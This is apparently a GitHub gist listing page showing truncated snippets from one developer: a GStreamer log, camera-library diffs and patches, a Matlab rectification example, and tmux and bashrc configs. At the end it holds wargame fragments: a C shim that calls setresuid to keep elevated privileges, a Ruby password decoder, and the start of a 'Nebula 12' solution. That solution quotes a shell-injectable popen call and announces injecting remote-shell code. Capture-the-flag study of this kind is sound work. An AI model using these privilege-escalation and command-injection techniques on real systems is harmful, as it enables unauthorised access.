Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View graugans's full-sized avatar

Christian Ege graugans

View GitHub Profile
0:00:00.000052440 12852 0x55e10a226e00 INFO GST_INIT gst.c:586:init_pre: Initializing GStreamer Core Library version 1.16.3
0:00:00.000085294 12852 0x55e10a226e00 INFO GST_INIT gst.c:587:init_pre: Using library installed in /usr/lib/x86_64-linux-gnu
0:00:00.000108159 12852 0x55e10a226e00 INFO GST_INIT gst.c:605:init_pre: Linux sauron 5.15.0-78-generic #85~20.04.1-Ubuntu SMP Mon Jul 17 09:42:39 UTC 2023 x86_64
0:00:00.000316345 12852 0x55e10a226e00 INFO GST_INIT gstmessage.c:128:_priv_gst_message_initialize: init messages
0:00:00.000705625 12852 0x55e10a226e00 INFO GST_INIT gstcontext.c:84:_priv_gst_context_initialize: init contexts
0:00:00.000877629 12852 0x55e10a226e00 INFO GST_PLUGIN_LOADING gstplugin.c:318:_priv_gst_plugin_initialize: registering 0 static plugins
0:00:00.000964456 12852 0x55e10a226e00 INFO GST_PLUGIN_LOADING gstplugin.c:226:gst_plugin_register_static: registered static plugin "staticelements"
0:00:00.00097
diff --git a/simpleimage/example/ex-simpleImage_ppm_io.cpp b/simpleimage/example/ex-simpleImage_ppm_io.cpp
index 081617f..c2f6123 100644
--- a/simpleimage/example/ex-simpleImage_ppm_io.cpp
+++ b/simpleimage/example/ex-simpleImage_ppm_io.cpp
@@ -32,12 +32,8 @@
#include <ifm3d/fg.h>
#include <ifm3d/simpleimage.h>
-
-
@graugans
graugans / rectExample_annotated.m
Created May 17, 2018 11:08
O3X rectification example
%% Rectification of an amplitude image using unit vectors
% This Matlab code describes how a rectified image is calculated based on
% the unit vectors (line of sight vectors of each pixel).
% The process of rectification is seen as filling up a new matrix with
% amplitude values of an "old" matrix, when only the pixel position has
% changed. To do this, a set of indices recIdx have to be calculated, that
% describe which new pixel index corresponds to which old pixel index. Even
% though we are handling matrices, the indexing array treats the matrix as
% liniear arrays.
@graugans
graugans / tmux.conf
Last active February 5, 2020 12:39
My tmux configuration
# Force a reload of the tmux config with
# CTRL-B r
unbind r
bind r source-file ~/.tmux.conf \; display "Reloading config..."
# VIM mode in CTRL-B [
set-window-option -g mode-keys vi
# Start window numbering at 1
set -g base-index 1
@graugans
graugans / bashrc_user
Last active March 25, 2017 06:25
User defined extension to the ~/.bashrc
# ----- ~/.bashrc_user ----------------------------------------------------------------------------
# This is my user defined ~/.bashrc to use it you need to add somesthing like this to
# your regular bashrc
#
# # User defined bashrc
# # You may want to put all your additions into a separate file like
# # ~/.bashrc_user
#
Index: xmlrpc-c-1.33.17/common.mk
===================================================================
--- xmlrpc-c-1.33.17.orig/common.mk
+++ xmlrpc-c-1.33.17/common.mk
@@ -160,10 +160,10 @@ LDFLAGS_SHLIB_ALL=$(LDFLAGS_ALL) $(LDFLA
#------ the actual rules ----------------------------------------------------
$(TARGET_SHARED_LIBRARIES) dummyshlib:
- $(CCLD) $(LDFLAGS_SHLIB_ALL) $(LIBOBJECTS) $(LIBDEP) -o $@
+ $(CCLD) $(LDFLAGS_SHLIB_ALL) $(LIBOBJECTS) $(LIBDEP) -o $@
require libo3d3xx.inc
DEPENDS = "boost glog libxmlrpc"
S = "${WORKDIR}/libo3d3xx-${PV}/modules/camera"
FILES_${PN}-dev += "${prefix}/lib/o3d3xx_camera"
BBCLASSEXTEND += "native"
#include <linux/unistd.h>

void __cxa_finalize (void *d) {
    return;
}

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
 setresuid(geteuid(),geteuid(),geteuid());
#!/usr/bin/env ruby
res = "857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW."
dum = 0
res.each_char do |x|
print (x.ord() -dum).chr
dum +=1
end

How to solve Nebula 12

This excercise is pretty easy. The password hash is calculated by passing a user controlled string to sha1sum

prog = io.popen("echo "..password.." | sha1sum", "r")

So let's inject some remote shell spawning code.